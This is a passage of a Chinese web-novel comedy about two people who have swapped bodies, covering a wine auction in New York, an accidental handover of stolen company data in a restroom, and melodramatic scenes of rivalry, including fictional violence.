最初,林曌对她的话不以为意,以时厌女朋友的身份为集团拉来了不少资源,逐渐摆脱了任人宰割的困境。 可俗话说得好,命运馈赠的礼物早已暗中标好价格,该来的意外一个都不会少。 林曌能力出众,林家对她越来越重视的同时,林诗怡对她也越来越不满,暗地里小动作不断。 她很清楚地知道,时厌和林曌谈恋爱只是为了引起她的注意,所以常常做一些自认为很杀人诛心的事情。 什么纪念日的时候故意把时厌叫走啦,或者当着所有人的面和时厌亲吻拥抱啦,凡此种种,不胜枚举。 可没想到,林曌根本就不在意。 她像一拳打进了棉花里,本就不怎么健康的心理越来越扭曲极端。 盛怒之下,林诗怡想出来一个损招:让时厌玷污林曌的清白。 既能给林曌一个教训,又能让时厌对自己心怀愧疚,一箭双雕。 于是,趁着酒会,林诗怡给毫不设防的时厌下了药,约他到仓库见面。 而林曌的警惕性更强,一心扑在集团工作上。 为了让她一个人来,林诗怡便假借着林父的名义,谎称有要事商谈,也将她骗到仓库。 当林曌到达时,时厌的药效正好发作。 她还未看清全貌,一双手便将她拉了进去,压在身下。 慌乱中,林曌一脚踢向时厌的某处,皱着眉反抗:“你看清楚点,我不是林诗怡,别乱发/情。” 时厌吃痛地咬咬牙,神志恢复了一丝清明,而后阴狠笑道:“装什么装?难道不是你下的药吗?” “我要下也是下敌敌畏好吧?” 林曌冷哼,两只手挣脱不开,只能冷静下来和他周旋。 可疯批就是疯批,无法以正常人的逻辑来理解。 空旷的仓库里,时厌阴冷的声音不断回荡:“你说,我要是和你睡了,她会不会吃醋?” 在林曌匪夷所思的眼神中,他越想越觉得有道理,手上的力气加大,打算强迫林曌。 “我操/你爹的。” 林曌破口大骂,两只脚狠狠蹬向身上那人,却被男人轻易地压制住。 她咬牙在地面上摸索着趁手的工具,可林诗怡显然提前清理过现场,除了灰尘什么也没给她留下。 千钧一发之际,乔缨的脸忽然从时厌身后冒了出来,朝她比了个噤声的手势。 下一秒,苍白漂亮的少女在黑暗中拿起板砖,一下,两下,狠狠向时厌砸去。 血液飞溅,乔缨的眼皮沾染上一抹显眼的红,而她眼睫下是一双太过冷静的眼睛,反倒显得更加怪异和残忍。 像是某种切割完美的钻石,烁烁发亮得让人心神不宁。 脑子里一阵嗡鸣。 某一瞬间,林曌似乎连呼吸都忘记了,只是直愣愣地看着面前的人。 室外的一小缕光线穿透门缝。 瞳孔中,有尘埃飞旋,而她的救世主逆着光,倨傲地向她伸出了手。 乔缨说:“喂,站起来。” 不等她做出反应,林曌被乔缨拉着起身,脚步虚浮地跑出了仓库。 “等等,你先走。” 逃出去几米后,林曌忽然回过神来,止住了脚步。 乔缨看了她一眼,没说话,处理好所有痕迹后镇定自若地回到酒会,脸上丝毫不见异样。 数十分钟后,仓库的方向传来一声巨响,乔缨随着闹哄哄的人群凑了上去,装模作样地惊呼几声。 在时家人的痛哭声中,林曌站在她身旁,轻轻说道:“放心吧,死不了,顶多成植物人。” 乔缨挑眉:“那挺好,人间又少了个祸害。” 林曌紧盯着她的眼睛,问:“你说,我们会下地狱吗?” “不好意思,我唯物主义。” 乔缨朝不远处惊慌失措的林诗怡睨了一眼,笑着回答:“就算下也轮不到咱俩。” 看来她们的确是同类。 林曌弯弯唇角,放下心来,愉悦道:“是啊,轮不到咱俩。” …… “够了。” 故事讲到这里,林曌很显然已经完全相信了乔缨的话,姿势逐渐放松下来。 她叹了口气:“你知道吗,在那之后我就去学了格斗和自由搏击,反抗不了的感觉真是太可怕了。” “那可不。” 乔缨笑笑,忽然觉得两个恶贯满盈的女配在这里谈笑风生的样子,有点像反派胜利后MVP结算画面。 有点荒谬,也有点爽。 好不容易消化了两人互换身体的事实,林曌又有些发愁,撑着脑袋幽幽地说:“我这次叫裴砚知来,是为了蒋南宇。” 乔缨惊讶:“蒋南宇?” 听林曌一番讲述,她才知道蒋南宇在乔俞诚出事时就卷钱消失了,手里还攥着一部分从昭星和各个公司偷来的技术资料,飞速跑到了海外。 因为各种原因,林曌常驻纽约,消息比裴砚知更灵通一些。 她得到情报,确定蒋南宇将会和背后的买家在拍卖会上碰头交易,于是便想顺水推舟卖裴砚知一个人情。 没想到来的居然是乔缨。 说话间,汽车很快驶到了拍卖会的入口。 林曌拿出邀请函和乔缨并肩走进,乔缨忽然感觉腹部一阵绞痛,匆匆和她告别,跑去了厕所。 一番寻找后,乔缨面露纠结地站在门口,遇到了每一部互换身体的文艺作品里,都会面临的一个世界性难题——— 男厕还是女厕?man or woman? 虽然在这个有着112种性别的地方,她这个双性别流动者就算去女厕也不会有人感到奇怪…… 但她总得为裴砚知的面子着想。 可乔缨又不是很想和其他男人坦诚相见,那太恶心了。 这时,走廊中出现一个熟悉的人影。 许声蕴扎着一头永和豆浆似的头发,踩着高跟鞋,绷着脚尖,对着电话那头高谈阔论。 “对啊,我老公带我来了纽约的一个拍卖会,这次出差让秦铮去了,就当白送她个机会吧。” “因为我不图钱,图灵魂,偏e的infp人格,如果我好好利用男人,绝对王炸。但是我就输在清高孤傲,只能说职场社会上,颜值是加分项,你的价值观和底线才决定你的上限。所以,其实我就算看起来妩媚风情样,但是其实同性缘不差,因为我不婊。” “不,不是画作,是葡萄酒,不过很高兴你也喜欢艺术并有自己的见解,有时间聚一聚。” 擦肩而过时,许声蕴偏头奇怪地看了乔缨一眼,吓得她连忙从女厕前移开,转过身背对着门。 高跟鞋的声音消失,肚子再度叫了起来,早上吃的英国菜开始发力。 乔缨忍着疼痛,一咬牙,闷头冲进了男厕里。 还好,拍卖会的场所够高级,一路上七拐八拐,倒也没看见什么辣眼睛的东西。 她推门而入。 霎时间,一阵除夕夜的鞭炮声在美国的圣诞节上炸响。 清完肠胃,乔缨神清气爽地提起了裤子,正要推开门出去的时候,有人过来敲了敲她的隔间门。 三长一短,十分有节奏。 什么意思?搁这演007呢? 她试探性地敲了回去,门外那人立即用英语问道:“您是第一次参加拍卖会吗?我这里有一些从中国来的珍稀葡萄酒正在寻找它的买家,它大概16英寸长,10.6英寸宽,重量在2kg左右,有请问您有兴趣吗?” 我勒个英语听力啊。 说的什么东西,怎么会有人在厕所推荐葡萄酒? 不对,谁家葡萄酒瓶长这样啊? 感觉遇到精神 病了。 上次来纽约时,被街头流浪汉纠缠的记忆还历历在目,乔缨心里一紧,不小心说了句方言。 “没得。” 门外的蒋南宇顿了顿。 由于她语速太快,蒋南宇把刚刚的话听成了英语,不由得眼神一亮。 对上了,都对上了! 这是道陷阱题,正确回答并不是「有兴趣」,而「Mayday」才是他们今天定下的暗号! 他按耐住兴奋,接着试探道:“这位先生,这瓶葡萄酒需要实名制购入,能麻烦问一下您登记的姓名吗?” 啥玩意儿还抓着不放了是吧? 乔缨不耐烦地咂了下嘴,威慑道:“关你锤子事!” 对上了,又对上了! 蒋南宇眼睛又一亮,这次的买家代号确实是叫「Grani Trees 」! 听听,多么正宗的美式发音! 因为害怕被追踪到ip地址,他只能采用这种传统的方式来接头。 如今交易完成,蒋南宇如释重负地呼出一口浊气,把装有资料的电脑连同背包一起放在了隔间门口。 他敲响门板,语气是前所未有的轻快:“好了,祝您圣诞快乐,在新的一年里大便依然通畅!” 乔缨:? 与此同时,真正的Grani Trees正坐在三个拐角外的马桶上,却迟迟等不到人来。 他忍着腿部肌肉的酸麻,发出一声愤怒的嘶吼:“SHIFT!!!” 60-70 第61章 第六十一章 爹的,最烦装逼的人…… 乔缨抱着电脑包, 一头雾水地走了出来。 走廊上,一个亚裔长相的男人正拿着手机噼里啪啦打着字,身前忽然出现了一堵肉墙。 他抬眼看去, 顿时惊慌失措地想要转身逃跑,却被那彪形大汉一把揪住了领子。 Grani Trees, 本名葛崔实,现年36岁, 于两年前撕掉护照从墨西哥走线入境, 从码农摇身一变成了流浪汉,靠洗盘子送外卖维持生活。 可钱还没挣到,身体先累垮了,他却被免费医疗忽悠成了瘸子,坐个救护车大摇大摆去了医院, 从此背上了21w美金的巨额债务, 还要记入高额利息。 身无分文下,一家科技公司找上了他, 让他把昭星的资料偷出来,这才和蒋南宇对接上, 有了刚刚厕所的乌龙。 可他万万没想到, 经过乔缨一掺合,加上蒋南宇感人的智商, 直接无痛把资料送回了老家。 现在到了约定的时间,葛崔实拿不出东西, 科技公司觉得自己被耍了, 当然会来找他麻烦。 角落里传来一阵拳拳到肉的闷声和抽气声。 乔缨虽然不知道这些内情,但她也明白异国他乡的别去凑热闹比较好,于是避开人群走到旁侧的楼梯口。 一个高大的白人男子和她擦身而过, 肩头相撞,他露出歉意的表情,道:“抱歉,借过。” 乔缨挑眉笑笑,没有说话。 白人男子的身影彻底消失在楼梯上,而乔缨抛抛手中刚摸来的钱包,悠闲地朝林曌走去。 菜,就多练。 想偷她的钱,下辈子吧。 “发生什么事了,这么高兴?”林曌奇怪地看着她。 不过十几分钟的时间,乔缨身上忽然莫名其妙冒出来一堆装备,像是从谁身上捡的。 她到底是去干嘛了?上厕所还是抢银行? 乔缨打开手中的皮夹,轻描淡写地回答:“没什么事,刚刚在厕所碰到个神经病,出来又碰到个好心人,非要往我手里塞东西。” 皮夹被一个圆柱形的物体塞得满满当当,她本打算找一找失主的证件好物归原主,却没发现任何其他的物品。 有点奇怪。 室内,参会的人员陆陆续续落了座,林曌不动声色地扫了一圈。 她不知道裴砚知和乔缨什么时候互换的身体、有没有信息差,只好接着刚刚在车上的话题聊:“你认识蒋南宇吗?就是前段时间发财树被浇死的那个———” “认识啊,”乔缨诚恳地眨眨眼睛,“我浇的。” 恍然之中好像抓住了什么真相,林曌迟疑地问道:“那发布会也是……” “对,没错,都是我干的,”乔缨大方承认,“商战,就是这么朴实无华。” 难怪。 就说以裴砚知冷傲的脾性,怎么会想出这种损招。 既然都是熟人,那事情就好办多了。 林曌放下心来,正色道:“情报说蒋南宇把资料都存在电脑里了,今天大概率会带着包来拍卖会,我们先找找———” 她说着说着,低头看向乔缨手里的电脑包。 现场除了乔缨,好像没有人符合标准。 乔缨干笑两声:“你听我说,是这样的……” 听完她在厕所的奇妙遭遇后,林曌匪夷所思地揉了揉太阳穴,逐渐理解了一切。 在今天接二连三的世界观冲击下,任何魔幻的巧合发生在乔缨身上,都显得无比正常。 稀里糊涂解决了第一件事,现在还剩下第二件事要做。 “乔俞诚被抓后,盛宇科技抵押给了王继盛,但蒋南宇跑的时候把公章带走了,起诉很麻烦。” 林曌微微蹙着眉,拿出手机看了看,守在会场外的保镖称蒋南宇并没有离开现场。 “王继盛说如果我帮了他这个忙,合同会让我十五个点……你有见到蒋南宇本人吗?他是不是把公章别在了裤腰上?” 乔缨默默打开皮夹里的圆柱体,往拍品图录上压了压,一个鲜红的公章图案印在了白色纸张上。 两人对视一眼,陷入诡异的沉默。 乔缨抽抽嘴角,问:“咱……还要继续待在这儿吗?” 林曌默了默,呼出一口气:“来都来了。” 前排忽然响起一阵高跟鞋的声音,许声蕴昂着头,凹出天鹅颈,和傅司宴十分高调地出现在了现场。 席间众人纷纷循着声响转头,一脸莫名地看着两人。 知道内情的林曌给乔缨小声解释:“听说傅司宴办砸了事情,而傅南明喜欢收藏葡萄酒,这是想买回去给他叔叔赔罪呢。” 乔缨摸摸下巴,沉思片刻。 听说那天裴砚知离开球场时,许声蕴突发恶疾骂了他一顿,最后喜提两个巴掌印,灰溜溜地滚了。 所以她就是傅司宴办砸的那件事吗? 那还真是活该。 拍卖师走上台,示意拍卖会正式开始。 许声蕴赶紧整理了一下衣服,朝身侧打了个手势,做作地挺直了身体。 一个助理模样的人尽职尽责打开了相机,将镜头对准这一对璧人。 酒品拍卖和寻常拍卖会的流程不太一样,现场摆着数十张用于品酒的圆桌,无限量供应着酒水和餐品。 台上,拍卖师拿出今天的一号拍品,介绍完年份和产地后,即刻开始竞价。 许声蕴略显瑟缩的神情暴露出一丝紧张,煞有其事地歪头问道:“这瓶要拍吗?” “不,这瓶一般。” 傅司宴翘着二郎腿,摇晃着手里的红酒杯,侃侃而谈:“我对酒的评价很严苛的,这瓶是法国南部波尔多酒庄的新酿,赤霞珠混梅洛,口感一般,还需要沉淀一下,味道会更好。” 许声蕴眼里立即浮现出崇拜的神色,冒着星星眼,鼓掌吹捧:“老公,你懂得真多,好厉害。” 自尊心得到强烈满足的傅司宴轻哼一声,抿了一口手里的红酒,立马表现出一幅味蕾被劣质洋酒袭击了的表情。 他皱眉把酒杯放下,往外一推,轻蔑地说道:“我们懂行的人,能轻而易举地喝出年份和产地。像这种酒……啧啧啧,都入不了我的眼。” 声音之大,所有来宾都在望着两人,却因听不懂中文而困惑。 作为全场为数不多能听 懂的人,乔缨和林曌不禁为这些无法体会到乐子的外国佬感到遗憾。 林曌翻了个白眼,嗤笑道:“爹的,最烦装逼的人。” 喝个酒还能喝出年份和产地来,舌头是探测仪成精了还是咋的? 乔缨则跃跃欲试,进行了一些科学的假设:“嘴这么刁,喂他喝点蜜雪冰城会不会直接把他给毒死?” 在两人的右后方,一名长发男子也觉得不对劲。 他指着摄像的人,和同行的女孩窃窃私语:“他们这是在拍什么,与卡戴珊一家同行吗?” 而那名女孩显然也来自京市,在发出一句地地道道的国粹后,语气鄙夷地说:“哦,我认识那个男人,他上学的时候曾经追求过我,还说我们很般配。” 长发男子惊愕地侧过头,上下扫视了女孩一圈,严肃道:“No,you pretty,he ugly,you swan,he frog!” 乔缨忍不住笑了起来,身后的两人听到声音,好奇地抬头看去,在看见她的侧脸后,眼里迅速划过一抹惊艳。 流程很快就来到了十六号拍品,这也是本场拍卖最受瞩目、起拍价最高的一瓶葡萄酒。 拍卖师做完起拍的手势,立马有人举起了牌,场子瞬间热烈了起来。 一片此起彼伏的加价声中,备受瞩目的两个人终于动了。 傅司宴一手撑在下巴上,端的是神秘莫测的大佬模样,看起来排场很大地和许声蕴交头接耳,像是在商量什么机密要事。 片刻后,许声蕴气势汹汹地举起了手中的号码牌,放下后迅速凑到傅司宴耳边,偷感十足。 她知道傅家很有钱,今天借势耀武扬威了一把,简直比磕了药还亢奋,雀跃地问道:“三十二万美金了!我们还要继续加价吗?” 然而傅司宴的反应却很耐人寻味。 他眉毛皱得能夹死苍蝇,紧抿着嘴唇,挤出两个干巴巴的字:“继续。” 林曌饶有兴致地看着两人的表演。 据她所知,傅司宴现在外债可不少,而且名下的灰产太多,要是傅南明不打算保他了,太子爷分分钟变流浪狗。 “要是倾尽家产买到了酒,我猜他俩下一站就是去拉斯维加斯进行一些违法活动。” 林曌竖起几根手指,“那种两万变四万,四万变八万的活动。” 乔缨从餐盘上抬起头,一脸智慧地问:“啥活动能翻这么多倍?线面啊?” “算了,玩去吧。” 林曌叹了口气,觑了一眼不远处的两口子,抬手加价。 拍卖师立马喊道:“三十五万,现场后方的女士出价三十五万,要不要加到三十八万呢?” 许声蕴眼神一凛,迅速举起号码牌,得意洋洋地瞥了一眼镜头。 “哦,这位女士出价三十八万,三十八万,有人出到四十万吗?” 二五八的竞拍太墨迹了,林曌预估着傅司宴的心理价位,和拍卖师沟通直接跳价到五十万。 “好的,五十万,后方的女士出价五十万,现场还有要竞拍的吗?” 听到这个价格,傅司宴僵住了,迟缓地放下二郎腿。 他举手示意了一下,忽然站起身走到前方的工作人员面前,似乎有什么重要的事需要和他们沟通。 全场人的目光跟向日葵似的,都自动跟随着他的身影。 万众瞩目下,傅司宴涨红了脸,语气严肃地问:“你好,请问可以分期付款吗?” “不可以的,先生。” 工作人员挂起假笑,三两句把他打发走了。 傅司宴好像感觉不到尴尬一样,在一众人的注视下,神色自若地回到了座位上。 他两条腿抖成筛糠,咬牙切齿:“加,继续加!” 接到指示,许声蕴立马兴奋照做,手指拈着号码牌高高举起。 “五十二万,五十二万,确定不加价了吗?” “最后一次,五十二万成交,恭喜3017号!” 落槌的瞬间,林曌脸上浮现出一抹似笑非笑的表情。 乔缨擦擦嘴,被她笑出了一身的鸡皮疙瘩,忍不住吐槽:“你们有钱人还真是恶趣味。” 两人一路走到出口,因为风太大,林曌散下头发把皮筋递给乔缨,找保镖交代事情去了。 乔缨百无聊赖地候在车边,先前的长发男和国粹女孩见到他后一愣,踟蹰片刻,慢吞吞地走到了她跟前。 女孩笑着问道:“帅哥,能不能借一下小皮筋?” 乔缨也笑着回答:“姐妹,这是我结扎用的。” 女孩的脸绿了。 她旁边的长发男眼睛一亮。 男人正要开口搭讪时,林曌带着保镖走了回来,拿起皮筋疑惑地看着两人。 见状,女孩立马把长发男扯到一旁,边跑边嘀咕:“别看了,人家是富婆的小白脸,小心被揍!” 林曌看着两人逃也似的背影,疑惑不解。 “别管他们了。” 乔缨拍拍她的肩膀,催促道:“你不是说你家有粉色Hello Kitty的枪嘛?快带我去看看!” …… 不远处,两人的亲密举动落入了许声蕴的眼睛里。 她冷笑一声,拿起手机偷拍几张照片,见傅司宴过来后,又快速收了回去。 倾家荡产的傅司宴拉着一张驴脸,看着林曌和乔缨一前一后坐进了车,瞬间明白了她想干什么,冷声训斥道: “我警告你别做多余的事,他们几个你谁都惹不起,包括乔缨!今天这五十二万刀就是你得罪她的后果,要是再有下次,我不会替你收拾烂摊子了!” 许声蕴抱着他的手臂撒娇:“我知道啦老公,人家只是觉得很幸福嘛。你看,连不近女色的裴砚知都会变心,全世界只有你对我一心一意。” 傅司宴微笑着,手心攥紧刚刚才找美女服务员要来的号码,宠溺地摸摸她的头。 沈颐说得没错,许声蕴真的很蠢,也真的很好骗。 当然,在许声蕴眼里,傅司宴也是个蠢货。 吃完晚餐后,趁着男人不注意,她还是将照片发给了阮绵绵,还附赠了一条语音。 收到消息时,横店刚到早上八点,阮绵绵打开宾馆房门,和裴砚知撞了个正着。 两人站在同一个电梯前,单方面觉得尴尬的阮绵绵故意点开那条语音,许声蕴幸灾乐祸的声音顿时回荡在走廊上: “我还以为乔缨有多大能耐,还不是被裴砚知给抛弃了!我就说裴家怎么可能会看上她这样的贱女人!相信我绵宝,我一定会让那些骂你的畜生给你道歉,让所有人知道乔缨的真面目!” “哎呀,不好意思,我不小心按到了。” 阮绵绵假模假样地惊慌道歉,斜着眼睛一个劲地用余光打量他的神色。 裴砚知撩起眼皮,戏谑地朝她看了一眼,轻而易举从她手中夺过手机。 在阮绵绵惊愕的眼神里,裴砚知按下语音键,对屏幕那头的许声蕴说道:“我的真面目是你爹,傻逼。” 第62章 第六十二章 巧笑倩兮地走向黄总 裴砚知说完这句话后, 把手机往阮绵绵手里一扔,抱臂靠在廊柱上,好整以暇地看着她。 他幽幽地问:“你为什么会觉得裴砚知出轨能打击到我?我看起来像是很喜欢他的样子吗?” “没, 没有。” 本就被吓到的阮绵绵讷讷摇头,以为能平息他的怒火。 可感觉对方听完后, 心情好像更不好了。 电梯“叮”的一声打开了门,裴砚知神色恹恹地走了进去, 不耐烦地看着她。 “你到底进不进?” 阮绵绵咽了下口水, 抬步上前,战战兢兢地和他站成了一条对角 线。 此刻,她心里充满了后悔。 以前都是沈颐和乔俞诚替自己出头,她只需要坐收渔翁之利就好,再不济也有尹悦和许声蕴当嘴替。 可为什么没人和她说过, 乔缨生起气来, 居然这么吓人啊! 看起来会分分钟拿出把菜刀剁了她啊! 电梯又一次停下。 沈颐一瘸一拐从黄富贵房间里退出来,挪到电梯口, 看两人后一愣,黑着脸走了进来。 沈万钧说了, 必须要他追回乔缨, 等她消气后撤回诉讼,才会把股份还给自己。 因为没钱, 又声名狼藉,他不得不巧笑倩兮地走向黄总才能拿到资源。 突破底线, 非常痛苦。 昨晚被钢丝球擦过的地方还隐隐作痛。 下定决心后, 他攥了攥拳,鼓起勇气说道:“乔缨,对不起, 以前是我错了。” 预感到他将要说什么,阮绵绵难以置信地去扯他的手,被一把甩开。 沈颐继续睁着眼睛编瞎话,艰难地张开嘴:“我到现在才明白,我对那些女人只是有新鲜感,而我一直喜欢的人,只有亻———” “你再恶心我,我就扇你了。” 裴砚知冷声打断。 “不,我发誓,我说的都是真的!” 沈颐急了,举起三根手指,面露哀求道:“现在没有一个剧组肯要我,广告商也撤了资,你喜欢了我这么久,难道你忍心看我退圈吗?” 裴砚知听笑了,淡淡开口:“没关系,可以来昭星工作,我让你当厕所管道工,每天下班还能打包点吃的带回去。” “你!” 沈颐深吸一口气,默念几句小不忍则乱大谋,深情款款地告白:“乔缨,其实我……身上带有系统,它说我如果对你好的话,你就会死,我是为了保护你才故意冷落你的!” 阮绵绵听得快要晕倒了,脸色一阵一阵发白,颤抖着问:“真……真的吗?” 裴砚知对这两个人的智商感到匪夷所思。 他拧着眉头,不怒反笑:“我看起来很像傻逼吗?” “我知道你不会信,但没关系,这次换我来追你。” 沈颐摸出一颗批发来的心形石头,含情脉脉地递到他眼前,语气温柔:“这是我的心,我把自己送给你。” 阮绵绵发出一声痛苦的呜咽。 “说错了吧,你应该把自己送给潘宏。” 裴砚知一巴掌打掉石头,生怕被这俩神经病缠上,皱着眉快步走出电梯间。 早上八点半,各大剧组陆陆续续开了工。 熙熙攘攘的街道上,喻季年站在早餐店前他招招手。 裴砚知走进店内,一股肉香弥漫在空气中。 哪怕他一向对食物没什么兴趣,此时也被勾起来一些食欲。 林娇娇打来豆浆和稀饭,大马金刀地坐到板凳上,热情招呼道:“缨姐快来,这家羊肉粉可好吃了。” 她身前的餐桌被各类早餐摆得满满当当,不仅有羊肉粉,连酥饼油条生煎包都各买了一份。 莫名有种明天就要被拉去枪毙所以抓紧时间吃断头饭的悲壮感。 裴砚知:“……真有这么饿吗?” 林娇娇咬了口包子,眼神幽怨:“如果你知道我以前每天都在吃什么,你也会觉得我命苦。” 什么澳大利亚妃子笑,什么榆钱拌饭,什么沈颐小厨房,狗看了都摇头,猪吃了都想上吊。 隔壁桌,钟奇和余景阳误解了她的话,摸摸隐隐作痛的后脑勺,一阵惊愕。 难怪这大妹子力气这么大,原来是上了科技。 钟奇冷笑:“那我问你,你头顶怎么尖尖的?” “那是我特意给她做的高颅顶,有什么问题吗?” 喻季年掰开筷子坐了下来,一脸茫然。 在几人插科打诨的声音中,裴砚知慢条斯理地吃着早餐,手机铃声忽然响了起来。 备注名叫「AAA杭城专柜Emma」。 他点开通话键,Emma的声音立即从听筒中传出:“乔女士您好,您在我店预定的腕表已经到货了,请问您是来门店自提,还是由服务人员送货上门呢?” “腕表?” 裴砚知顿了顿,若有所思,嘴角缓缓勾起一抹不易察觉的弧度。 他的生日就在下周,难不成……是乔缨送他的生日礼物? 那多不好意思。 电话那头,Emma十分有耐心地回答:“对的,是您送给陶小姐的十周年纪念日礼物,两位的感情可真好。” “陶小姐?” 裴砚知的唇角瞬间垮下。 他不知想到了什么,沉着脸挂断电话,木然喝下一大口豆浆。 眼见气氛迅速降到了冰点,林娇娇停下了进食的动作,碰了碰喻季年的手肘,问:“她这是咋了?” 喻季年摇摇头,捂着嘴小声道:“听说乔俞诚被放出来了,他欠了缨姐那么多钱,别是打电话过来想赖账吧?” “那怎么行!” 林娇娇拍案而起,义愤填膺道:“缨姐别怕,我帮你揍他!” 钟奇和余向阳对视一眼,也表情坚定地说:“没错,乔小姐请放心,我们现在已经不怕板砖了,一定会保护好你的安全!” 一片混乱里,裴砚知从热气腾腾的羊肉粉里抬起头,眼神复杂地打开和乔缨对话框,缓慢敲下几个字: 【Dioretsa:我有个问题。】 【Dioretsa:你的性取向是?】 — “不好说,可能是外星人。” 乔缨发去一条语音,把手机放进衣兜里。 抬眼一看,震惊地张大了嘴。 她伸出一根手指,小心翼翼地碰碰那把Hello Kitty涂层的AK,语气讶异:“姐,你这哪是储藏室,你这是军火库吧?” “这把是我在航展上买的,好看吧。” 林曌拿起狙击枪架在窗口,往街上瞄了瞄,淡淡道:“没办法,这个月很多人都出门度假了,附近出了好几起入室抢劫案,为了安全,不得不加强点火力。” 乔缨抓起一把子弹,啧啧感叹:“你确定是一点?我玩游戏都捡不到这么多装备,感觉整个白宫都能被你打下来。” “还行吧。” 林曌放下枪,捋捋头发,指向对面街区的某幢别墅。 “那里住着一个华人女孩,比我还夸张,用大卡车一箱一箱往家里运军火,也不知道什么来头。” 这地方是纽约著名的富人区,每个邻居都大有来头,要么是国际上响当当的人物,要么就神秘到查不出任何背景资料。 而那个华人女孩就属于第二种,一看就很不好惹。 “是吗?” 乔缨走到狙击枪的倍镜前,好奇地看向那座房子。 借住在林曌家的白然对这些不感兴趣,一直心不在焉地坐在椅子上。 楼下的门铃不知被谁按响,她神色微微一动,从思绪中回过神来,对两人笑道:“我下楼看看。” — 按下门铃后,蒋宗琰紧张地理了理衣领。 自打白然消失,他从京市找到白家村,又从白家村找到美国,才终于打听到了她的消息,马不停蹄地赶了过来。 屋内响起脚步声。 感受到白然正隔着一扇门观察自己,蒋宗琰按耐住情绪,拿出早就准备好的说辞,缓缓开口: “然然,别闹了,回家吧。” 没有人回答他。 于是蒋宗琰自顾自地开始剖析起了心路历程。 “我知道,以前是我忽略了你的感受,我已经和那些嘲笑你的狐朋狗友断了联系,以后不会再来往了。” 这么说只是为了稳住白然。 他其实一直知道白然受的委屈和误解有多深,但没办法,生意场上不可能为了一个女人就把关系闹僵。 “我和外面那些女人只是逢场作戏,只是为了公司利益的炒作,我喜欢和在乎的,一直都只有你。” 他承认自己在这段婚姻里晃了神,但他只是一时被新鲜感吸引了而已,玩玩罢了。 他甚至不懂白然的反应为什么会这么激烈,外头那些女人又不会威 胁到她。 “你可能不知道,我并不是因为那次意外才和你结婚的,其实我暗恋了你很久,得知和我上/床的人是你后,我的第一反应是高兴。” 虽然白然一直不肯承认是她下的药爬的床,但他只当是女孩子害羞。 他也真的是很喜欢白然,毕竟离了白然,他再也找不到这么称心如意的妻子了。 “回来吧,我知道林曌帮你申请了学校,但我有她违规操作办理留学手续的证据,我也可以举报你的签证有问题。” 其实根本就算不上违规,但不妨碍他在举报材料里添油加醋。 哪怕林曌在纽约是地头蛇,他也笃定对方不会为了一个陌生女人一而再再而三地涉险。 可屋内的人依旧没有动静。 蒋宗琰的耐心耗尽,不知道白然在迟疑些什么。 他都低头向她认错了,而她明明还放不下自己,为什么还非要这么犟。 他急切地去拧动门把手,企图强闯进去,说出口的话也多了一层浓重的强迫意味: “别闹了白然,我的耐心是有限的,去办休学手续,你得跟我回国———” “砰!” 一声突兀的枪响,子弹正中眉心,让一切都戛然而止。 保镖举着枪走了出来,邱凌抱着双臂,踢了一脚倒在血泊中的男人,嫌恶地捂住了口鼻。 “什么玩意儿,私闯民宅还磨磨唧唧的,有病。” 一条街之外。 白然接过外卖员手中的披萨,听到由远及近的救护车警报声后,心里忽然一空,慌得厉害。 “怎么了?” 林曌奇怪地问。 白然压下了心中的异样,笑着回答:“没什么,快进去吧。” 唯有在倍镜里目睹一切的乔缨,因为场面太过血腥而晕了过去。 第63章 第六十三章 Lets 绷脚尖 “太刺激了。” 乔缨坐在早餐店的木桌前, 狠狠揉了一把脸。 其实她很爱看cult片,对血腥场面几乎免疫,但真在现实里遇到枪击现场, 比起感官上的刺激,更多的是心理上的不适。 偏偏裴砚知那双眼睛视力又好, 连喷射而出的脑浆子都看得一清二楚。 “不行不行,不能再去想了。” 她拿起辣椒油, 往碗里不要命地加加加加到厌倦, 吸溜着羊肉粉,企图摆脱那个画面。 喻季年连忙拦住她的手,奇怪道:“你不是说感冒才刚好,要少吃点辣吗?” 从刚刚开始乔缨就有些不对劲,又是突然黑脸, 又是突然两眼发直不说话, 看起来像中邪了一样。 原来乔俞诚被保释,给她造成了这么大的心理压力啊? 喻季年有点心疼乔缨。 但一想到她那几个亿的赔偿金, 那股淡淡的同情便顿时烟消云散了。 唉,单纯的金钱关系, 就是这么脆弱。 “对了, 我银行卡收到乔俞诚还的欠款了,你们有什么想要的吗?” 乔缨骤然从羊肉粉中抬起头, 真心实意地问道:“什么都行,我觉得我是时候忘本了。” 没想到林娇娇想也不想地开口:“京市户口。” 喻季年默默收回了嘴边的“大别野”, 跟着点点头, “还有车牌摇号。” 乔缨:“……” 大妹子,咱们走的是玛丽苏剧情,要不要这么现实主义啊? 她知道, 喻季年和林娇娇这么说其实是不想给她添麻烦,心里涌起一阵感动,顺手给两人发了几个大红包。 因为之前的意外,舒乐给了她两天的休息时间。 正好,送给陶希彤的礼物已经到货,而杭城一个和她关系不错的富婆姐姐,刚刚也发消息邀请她去自家马场玩。 擦完嘴,乔缨当即大手一挥:“走,姐带你们进城看猴戏去。” — 天骑国际马术俱乐部。 阮绵绵站在马厩前,看着许声蕴新发的微博,心里很不是滋味。 听说傅司宴在拍卖会上一掷千金,花了五十多万美金给许声蕴买了一瓶葡萄酒,还送给她一座私人马场。 因为作风高调,许声蕴本人也在短时间内收获了一大批粉丝。 人人都羡慕她嫁给了傅氏太子爷,纷纷在评论区里留言催更,不仅自称老奴,还说感谢太子妃带他们见世面。 照片上,许声蕴正穿着马术服站在一匹高头大马前,笑容灿烂: 【傅先森的小菇凉V:不好意思~最近净发和大马马的照片了!这些是今天下课后老公给拍哒!运动后脸蛋红扑扑儿!高兴!!】 看得出来,嫁给傅司宴,她真的很幸福。 连脚尖都比以往绷得直了。 阮绵绵为闺蜜高兴的同时,又产生了一点微妙的胜负欲。 要知道,放在以前,都是许声蕴跟在她屁股后面跑,如今沈颐失势,两人的地位隐约有颠倒过来的趋势。 好胜心使然,阮绵绵不想输给许声蕴。 所以她趁着剧组没戏,特意跑到杭市最大的俱乐部买了一节体验课。 大冬天里,只见她上半身穿着浅色摇粒绒,下半身套着莫兰迪色瑜伽裤,头顶戴着遮阳帽,鬼鬼祟祟站在了一匹骏马前。 新来的助理战战兢兢:“绵绵姐,咱们偷偷溜进来蹭照片,这不太好吧?” “怕什么,又没人看见。” 阮绵绵学着许声蕴绷脚尖的姿势,催促道:“快点!怎么笨手笨脚的!记得给我拉腿啊!” 助理手忙脚乱地拍照,忍不住腹诽。 人腿拉得比马腿还要长,什么T台遗珠,下届NBA你去打好不好。 “行了吗行了吗?” 阮绵绵一拍完,便立即蹿到手机屏幕前查看照片,随后满意地点点头。 